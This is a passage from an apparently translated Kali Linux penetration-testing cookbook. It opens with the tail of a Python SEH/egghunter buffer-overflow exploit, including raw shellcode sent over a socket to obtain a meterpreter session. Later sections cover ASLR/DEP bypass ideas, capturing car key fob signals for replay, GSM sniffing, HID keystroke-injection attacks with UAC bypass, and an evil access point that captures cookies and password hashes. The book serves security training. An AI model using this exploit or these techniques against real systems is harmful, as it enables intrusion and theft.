        buffer += "\xbe\xd9\xa1\x6f\x18\xa9\x12\x54\x99\x7e\xc4\x1f"
        buffer += "\x95\xcb\x82\x78\xb9\xca\x47\xf3\xc5\x47\x66\xd4"
        buffer += "\x4c\x13\x4d\xf0\x15\xc7\xec\xa1\xf3\xa6\x11\xb1"
        buffer += "\x5c\x16\xb4\xb9\x70\x43\xc5\xe3\x1c\xa0\xe4\x1b"
        buffer += "\xdc\xae\x7f\x6f\xee\x71\xd4\xe7\x42\xf9\xf2\xf0"
        buffer += "\xa5\xd0\x43\x6e\x58\xdb\xb3\xa6\x9e\x8f\xe3\xd0"
        buffer += "\x37\xb0\x6f\x21\xb8\x65\x05\x24\x2e\x46\x72\x48"
        buffer += "\xa5\x2e\x81\x95\xa8\xf2\x0c\x73\x9a\x5a\x5f\x2c"
        buffer += "\x5a\x0b\x1f\x9c\x32\x41\x90\xc3\x22\x6a\x7a\x6c"
        buffer += "\xc8\x85\xd3\xc4\x64\x3f\x7e\x9e\x15\xc0\x54\xda"
        buffer += "\x15\x4a\x5d\x1a\xdb\xbb\x14\x08\x0b\xda\xd6\xd0"
        buffer += "\xcb\x77\xd7\xba\xcf\xd1\x80\x52\xcd\x04\xe6\xfc"
        buffer += "\x2e\x63\x74\xfa\xd0\xf2\x4d\x70\xe6\x60\xf2\xee"
        buffer += "\x06\x65\xf2\xee\x50\xef\xf2\x86\x04\x4b\xa1\xb3"
        buffer += "\x4b\x46\xd5\x6f\xd9\x69\x8c\xdc\x4a\x02\x32\x3a"
        buffer += "\xbc\x8d\xcd\x69\xbf\xca\x32\xef\x9d\x72\x5b\x0f"
        buffer += "\xa1\x82\x9b\x65\x21\xd3\xf3\x72\x0e\xdc\x33\x7a"
        buffer += "\x85\xb5\x5b\xf1\x4b\x77\xfd\x06\x46\xd9\xa3\x07"
        buffer += "\x64\xc2\xb2\x89\x8b\xf5\xba\x6b\xb0\x23\x83\x19"
        buffer += "\xf1\xf7\xb0\x12\x48\x55\x90\xb8\xb2\xc9\xe2\xe8"
        nop = "\x90" * 301
        tag = "w00tw00t"
        buffer1 = "USV "
        buffer1 += nop * 2 + "\x90" * 360
        buffer1 += nseh + seh # 8
        buffer1 += "\x90" * 6 #
        buffer1 += egghunter
        buffer1 += nop
        buffer1 += tag
        buffer1 += buffer
        buffer1 += "\x90" * (3504 - len(buffer))
        buffer1 += "\r\n\r\n"
        sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        connect=sock.connect((target_address,target_port))
        sock.send(buffer1)
        print "Sent!!"
        sock.close()

1. 我们继续将其保存为script.py并使用python script.py运行它。

2. 而且，我们应该有一个等待我们的 meterpreter 会话。

我们编写的利用代码可能无法在每个系统上以完全相同的方式工作，因为有多个依赖项取决于操作系统版本、软件版本等。

另请参阅

• www.corelan.be/index.php/2010/01/09/exploit-writing-tutorial-part-8-win32-egg-hunting/

• www.fuzzysecurity.com/tutorials/expDev/4.html

ASLR 和 NX 绕过概述

地址空间布局随机化（ASLR）于 2001 年由 PaX 项目作为 Linux 补丁引入，并集成到 Windows Vista 和后来的操作系统中。这是一种内存保护，通过随机化可执行文件在内存中加载的位置，可以防止缓冲区溢出。数据执行防护（DEP）或不执行（NX）也是在 Windows Vista 上的 Internet Explorer 7 中引入的，它通过阻止从内存中标记为不可执行的代码执行来防止缓冲区溢出。

如何做...

我们首先需要规避 ASLR。基本上有两种方式可以绕过 ASLR：

1. 我们寻找在内存中加载的任何反 ASLR 模块。我们将在固定位置上有任何模块的基地址。从这里，我们可以使用返回导向编程（ROP）方法。我们基本上使用代码的小部分，然后是返回指令，并链式连接所有内容以获得所需的结果：

来源：www.slideshare.net/dataera/rem…

1. 我们在这里获得指针泄漏/内存泄漏，并调整偏移量以获取泄漏指针的模块的基地址。

2. 接下来，我们需要绕过 NX/DEP。为此，我们使用众所周知的ret-to-libc攻击（在 Linux 中）或 ROP 链接（在 Windows 中）。这种方法允许我们使用libc函数来执行我们本来会用 shellcode 完成的任务。

3. 还有一种用于绕过 32 位系统中 ASLR 的方法，因为 32 位与 64 位系统相比具有相对较小的地址空间。这使得随机化范围较小且可行于暴力破解。

4. 这基本上是绕过 ASLR 和 DEP 的基本概念。还有许多更高级的编写利用程序的方法，随着补丁的应用，每天都会发现新的绕过方法。

另请参阅

• www.trustwave.com/Resources/SpiderLabs-Blog/Baby-s-first-NX-ASLR-bypass/

• taishi8117.github.io/2015/11/11/stack-bof-2/

• www.exploit-db.com/docs/17914.pdf

• tekwizz123.blogspot.com/2014/02/bypassing-aslr-and-dep-on-windows-7.html

• www.corelan.be/index.php/2010/06/16/exploit-writing-tutorial-part-10-chaining-dep-with-rop-the-rubikstm-cube/

第十章：玩转软件定义无线电

在本章中，我们将介绍以下步骤：

• 无线电频率扫描仪简介

• 与 RTLSDR 扫描仪亲身实践

• 玩转gqrx

• 为 GSM 窃听校准设备

• 使用 Dump1090 解码 ADS-B 消息

介绍

软件定义无线电这个术语的意思是，使用软件实现基于硬件的无线电组件，如调制器、解调器和调谐器。在本章中，我们将介绍不同的步骤，并看看 RTLSDR 可以如何用于玩转频率和通过它传输的数据。

无线电频率扫描仪

RTLSDR 是一种非常便宜（约 20 美元）的软件定义无线电，它使用 DVB-T 电视调谐器。在这个步骤中，我们将介绍如何将 RTLSDR 设备连接到 Kali Linux 以测试是否成功检测到。

准备工作

对于这个步骤，我们需要一些硬件。它可以很容易地从亚马逊购买或从www.rtl-sdr.com/buy-rtl-sdr-dvb-t-dongles/购买。Kali 已经为我们提供了工具来开始使用它。

如何做...

我们连接我们的设备，它应该在 Kali Linux 中被检测到。设备行为不准确是很常见的。以下是运行测试的步骤：

1. 我们将首先使用以下命令运行测试：

        rtl_test

以下截图显示了前面命令的输出：

1. 我们可能会看到一些数据包丢失。这是因为在只有 USB 2.0 的 VM 设置中尝试这个。

2. 如果有很多数据包丢失，我们可以通过使用rtl_test -s 10000000设置较低的采样率进行测试：

1. 现在，我们已经准备好继续下一个步骤并玩弄我们的设备了。

与 RTLSDR 扫描仪亲身实践

RTLSDR 扫描仪是一个跨平台的 GUI，可用于频谱分析。它将扫描给定的频率范围，并在频谱图中显示输出。

如何做...

这是运行rtlsdr-scanner的步骤：

1. 我们将 RTLSDR 连接到系统，并使用以下命令启动扫描：

       rtlsdr-scanner

以下截图显示了前面命令的输出：

1. 我们应该看到一个新窗口打开，显示工具的 GUI 界面；在这里我们可以简单地输入我们想要执行扫描的频率范围，然后点击开始扫描：

1. 需要一些时间来看到频率的扫描，然后我们将以图形格式看到结果：

如果应用程序停止响应，建议您降低范围，并选择单一模式而不是连续模式。

玩转 gqrx

gqrx工具是由 GNU 无线电和 Qt 图形工具包提供支持的开源软件定义无线电（SDR）接收机。

它具有许多功能，例如：

• 发现连接到计算机的设备

• 处理 I/Q 数据

• AM、SSB、CW、FM-N 和 FM-W（单声道和立体声）解调器

• 录制和播放音频到/从 WAV 文件

• 录制和播放原始基带数据

• 通过 UDP 流式传输音频输出

在这个步骤中，我们将介绍gqrx和另一个工具 RTLSDR 的基础知识。

如何做...

以下是使用gqrx的步骤：

1. 我们可以使用以下命令安装gqrx：

        apt install gqrx  

1. 完成后，我们通过输入gqrx来运行工具。

2. 我们从打开的窗口的下拉菜单中选择我们的设备，然后点击确定：

1. 现在 GQRX 应用程序打开，在接收器窗口的右侧，我们选择要查看的频率。然后我们去文件，点击开始 DSP：

1. 现在我们看到一个瀑布，我们应该开始听到扬声器中的声音。我们甚至可以使用接收器选项窗口中的上下按钮更改我们正在收听的频率：

1. 我们将看一个汽车钥匙遥控器的例子，用于锁定/解锁汽车。

2. 当我们按下按钮几次后，我们将看到瀑布图中的变化，显示信号的差异：

1. 我们可以在记录窗口中记录信号，然后保存。稍后可以解码并使用无线电发射回汽车，使用无线电发射器将其解锁。

2. 要在443 MHz 处捕获数据，我们可以使用以下命令：

        rtl_sdr -f 443M - | xxd

以下截图显示了前面命令的输出：

还有更多...

要了解更多关于gqrx的信息，请访问这些博客：

• gqrx.dk/doc/practical-tricks-and-tips

• blog.compass-security.com/2016/09/software-defied-radio-sdr-and-decoding-on-off-keying-ook/

GSM 窃听的校准设备

RTLSDR 还允许我们使用名为kal或kalibrate-rtl的工具查看 GSM 流量。该工具可以在频段中扫描 GSM 基站。在本教程中，我们将学习如何使用 kalibrate，然后在gqrx中确认信道。

如何做...

以下是使用 kalibrate 的步骤：

1. 大多数国家使用 GSM900 频段。在美国，是 850。我们将使用以下命令来扫描 GSM 基站：

        kal -s GSM900 -g 40  

以下截图显示了前面命令的输出：

1. 几分钟后，它会显示给我们一个基站列表：

1. 我们记录频率；在我们的情况下，我们将使用947.6 MHz以及偏移量。

2. 现在我们打开 GQRX 并在接收器选项窗口中输入：

1. 我们可以在瀑布图中看到设备能够完美地捕捉信号。

2. 现在我们将在数据包级别查看这些数据。我们将使用一个名为gr-gsm的工具。

3. 可以使用 apt install gr-gsm进行安装：

1. 完成后，如果我们输入grgsm_并按下Tab键，我们将看到一个可用工具列表：

1. 首先，我们将使用grgsm_livemon实时监视 GSM 数据包。我们将打开终端并输入grgsm_livemon：

1. 在新打开的窗口中，我们将使用 kalibrate 捕获的频率切换到：

1. 我们可以通过拖动并选择图形窗口上的区域来放大特定范围。

2. 在新的终端窗口中，我们输入wireshark来启动 Wireshark。

3. 然后我们将适配器设置为 Loopback: lo 并开始我们的数据包捕获：

1. 接下来，我们添加过滤器gsmtap：

1. 我们应该在信息窗口中看到数据包。我们应该看到一个带有标签系统信息类型 3 的数据包；让我们打开它：

1. 我们将看到系统信息，如移动国家代码、网络代码和位置区域代码：

1. 现在通过这个教程，我们已经学会了 GSM 数据包的传输方式。

还有更多...

以下是一些很棒的视频，让您更好地了解 GSM 嗅探：

• www.crazydanishhacker.com/category/gsm-sniffing-hacking/

使用 Dump1090 解码 ADS-B 消息

ADS-B 代表自动相关监视广播。这是一种系统，飞机上的电子设备通过数字数据链自动广播飞机的精确位置。

如工具的官方自述中所述，Dump1090 是专为 RTLSDR 设备设计的 Mode S 解码器。

主要特点是：

• 对弱信号的稳健解码。使用 mode1090，许多用户观察到与其他流行解码器相比改进的范围。

• 网络支持—TCP30003 流（MSG5）、原始数据包、HTTP。

• 嵌入式 HTTP 服务器在 Google 地图上显示当前检测到的飞机。

• 使用 24 位 CRC 进行单比特错误校正。

• 能够解码 DF11 和 DF17 消息。

• 能够解码 DF 格式，如 DF0、DF4、DF5、DF16、DF20 和 DF21，其中通过使用 ICAO 地址对校验和字段进行暴力破解，将校验和与 ICAO 地址进行异或运算，我们已经涵盖了。

• 解码来自文件的原始 IQ 样本（使用--ifile命令行开关）。

• 交互式 CLI 模式，其中当前检测到的飞机显示为列表，并随着更多数据的到达而刷新。

• 从速度计算 CPR 坐标解码和轨迹计算。

• TCP 服务器流式传输并接收来自/发送到连接客户端的原始数据（使用--net）。

在这个教程中，我们将使用该工具来查看空中交通的可视化。

如何做...

以下是使用 Dump1090 的步骤：

1. 我们可以使用命令git clone https://github.com/antirez/dump1090.git从 Git 存储库下载该工具：

1. 下载完成后，我们进入文件夹并运行make。

2. 现在我们应该有一个可执行文件。我们可以使用以下命令运行该工具：

        ./dump1090 --interactive -net

以下屏幕截图显示了前面命令的输出：

1. 几分钟后，我们应该能看到航班，并通过在浏览器中打开http://localhost:8080，我们也将能够在地图上看到航班。

还有更多...

更多信息可以从www.rtl-sdr.com/adsb-aircraft-radar-with-rtl-sdr/了解。

第十一章：随身携带的 Kali - NetHunters 和树莓派

在本章中，我们将介绍以下内容：

• 在树莓派上安装 Kali

• 安装 NetHunter

• 超人打字 - HID 攻击

• 我可以给手机充电吗？

• 设置恶意接入点

介绍

在某些情况下，在进行渗透测试时，客户可能要求我们进行适当的红队攻击。在这种情况下，手持笔记本电脑走进办公室可能看起来可疑，这就是这一章派上用场的原因。我们可以使用小型设备，如手机或树莓派来进行红队行动，并有效地进行渗透测试。在本章中，我们将讨论如何在树莓派和兼容的手机上设置 Kali Linux，并使用它来对网络执行一些酷炫的攻击。

在树莓派上安装 Kali

树莓派是一台价格实惠的 ARM 计算机。它非常小巧，便于携带，因此非常适合用于类似 Kali Linux 的系统进行便携式设备的渗透测试。

在这个教程中，您将学习如何在树莓派上安装 Kali Linux 镜像。

准备工作

树莓派支持 SD 卡。在树莓派上设置 Kali 的最佳方法是创建一个可引导的 SD 卡并将其插入 Pi。

如何做...

要在树莓派上安装 Kali，请按照以下步骤进行：

1. 我们将首先从 Offensive Security 的网站www.offensive-security.com/kali-linux-arm-images/下载镜像：

1. 镜像下载完成后，我们可以使用不同的方法将该镜像写入我们的存储卡。

2. 在 Linux/macOS 上，可以使用dd实用程序来完成。可以使用以下命令使用dd实用程序：

        dd if=/path/to/kali-2.1.2-rpi.img of=/dev/sdcard/path bs=512k  

1. 完成此过程后，我们可以将 SD 卡插入 Pi 并启动它。

2. 我们将看到我们的 Kali 启动：

我们可以参考此链接以获取更详细的指南：docs.kali.org/downloading/kali-linux-live-usb-install。

安装 NetHunter

如 Offensive Security 官方维基所述：

“Kali NetHunter 是一个包括强大的移动渗透测试平台的 Android ROM 叠加层。该叠加层包括自定义内核、Kali Linux chroot 和一个配套的 Android 应用程序，可以更轻松地与各种安全工具和攻击进行交互。除了 Kali Linux 中的渗透测试工具库外，NetHunter 还支持几个其他类别，如HID 键盘攻击、BadUSB 攻击、Evil AP MANA 攻击等等。有关组成 NetHunter 的各个部分的更多信息，请查看我们的 NetHunter 组件页面。NetHunter 是由 Offensive Security 和社区开发的开源项目。”

在这个教程中，您将学习如何在 Android 设备上安装和配置 NetHunter，并使用它执行攻击。我们可以在github.com/offensive-security/kali-nethunter/wiki找到支持的硬件列表。

准备工作

在开始之前，我们需要将设备 root，并安装 Team Win Recovery Project 作为自定义恢复。

如何做...

安装 NetHunter，请按照以下步骤进行：

1. 我们下载 NetHunter ZIP 文件并将其复制到 SD 卡，然后将手机重新启动到恢复模式。我们正在使用安装了 Cyanogenmod 12.1 的 OnePlus One。可以通过同时按下电源和音量减按钮来启动恢复模式。

2. 一旦进入恢复模式，我们选择屏幕上的安装并选择 ZIP 文件。我们可以从www.offensive-security.com/kali-linux-nethunter-download下载 ZIP 文件：

1. 完成后，我们重新启动手机，应该在应用菜单中看到 NetHunter。

2. 但在开始之前，我们需要从 Play 商店在手机上安装 BusyBox：

1. 完成后，我们运行该应用程序并点击安装：

1. 接下来，我们打开 NetHunter，并从菜单中选择 Kali Chroot Manager：

1. 我们点击添加 METAPACKAGES，然后我们将准备好进行下一个教程：

超人打字 - HID 攻击

NetHunter 具有一个功能，允许我们将我们的设备和 OTG 电缆行为键盘，因此可以在任何连接的 PC 上键入任何给定的命令。这使我们能够执行 HID 攻击。

“HID（人体接口设备）攻击向量是定制硬件和通过键盘仿真绕过限制的显着组合。因此，当我们插入设备时，它将被检测为键盘，并且使用微处理器和板载闪存存储，您可以向目标机器发送一组非常快速的按键，从而完全破坏它。”

• www.safaribooksonline.com/library/vie…

如何操作...

要执行 HID 攻击，请按照以下步骤进行操作：

1. 我们可以通过打开 NetHunter 应用程序来执行它们。

2. 在菜单中，我们选择 HID 攻击：

1. 我们将看到两个选项卡：PowerSploit 和 Windows CMD：

1. 让我们尝试 Windows CMD；在编辑源框中，我们可以输入要执行的命令。我们甚至可以从选项中选择 UAC Bypass，以便在不同版本的 Windows 上以管理员身份运行命令：

1. 我们从 UAC Bypass 菜单中选择 Windows 10，然后输入一个简单的命令：

        echo "hello world"  

1. 然后，我们将手机连接到 Windows 10 设备，并从菜单中选择执行攻击：

1. 我们将看到命令被执行：

有关更多信息，请访问github.com/offensive-security/kali-NetHunter/wiki/NetHunter-HID-Attacks。

我可以给手机充电吗？

在这个教程中，我们将看一种不同类型的 HID 攻击，称为 DuckHunter HID。这使我们能够将臭名昭著的 USB Rubber Ducky 脚本转换为 NetHunter HID 攻击。

如何操作...

要执行 DuckHunter HID 攻击，请按照以下步骤进行操作：

1. 我们可以通过打开 NetHunter 应用程序来执行它们。

2. 在菜单中，我们选择 DuckHunter HID 攻击。

3. 转换选项卡是我们可以输入或加载我们的脚本以执行的地方：

1. 让我们从使用一个简单的“Hello world！”脚本开始。

2. 我们在任何设备上打开文本编辑器，然后连接我们的设备并点击播放按钮。

3. 我们将看到这是自动在编辑器中输入的：

1. 互联网上有多个脚本可用于使用 NetHunter 执行多个攻击：

1. 这些可以下载并加载到 NetHunter 中，然后稍后用于利用受害者的 PC；列表可以在github.com/hak5darren/USB-Rubber-Ducky/wiki/Payloads找到。

更多信息可以在github.com/hak5darren/USB-Rubber-Ducky/wiki找到。

设置一个邪恶的接入点

MANA 工具包是由 SensePost 创建的邪恶接入点实施工具包，可用于执行 Wi-Fi、AP 和 MITM 攻击。一旦受害者连接到我们的接入点，我们将能够执行多个操作，您将在本教程中了解到。

如何操作...

要设置一个邪恶的接入点，请按照以下步骤进行操作：

1. 这很容易使用。在 NetHunter 菜单中，我们选择 Mana Wireless Toolkit：

1. 它在常规设置选项卡中打开。在这里，我们可以选择接口和其他选项，比如捕获 cookies。这可以用来通过使用 NetHunter 支持的外部无线网卡执行恶意双胞胎攻击来执行无线攻击：

1. 在前几章中，您了解了 responder。我们可以通过这个工具包使用 responder 来捕获网络哈希。

2. 首先，我们连接到我们想要执行攻击的网络。

3. 接下来，我们切换到 Responder Settings 选项卡，并勾选我们希望执行的攻击。我们选择 wlan0 作为我们的接口。

1. 要更改要监听的接口，我们切换到常规设置选项卡，并从下拉列表中选择接口列表中的接口：

1. 现在我们点击右侧选项菜单中的 Start mitm attack。

2. 我们将看到一个终端窗口打开，我们的攻击将被执行。我们将看到攻击捕获的主机信息以及密码哈希：

1. 同样，还有其他攻击，比如 Nmap 扫描、生成 Metasploit 有效载荷等。

有关更多信息，请访问github.com/offensive-security/kali-NetHunter/wiki。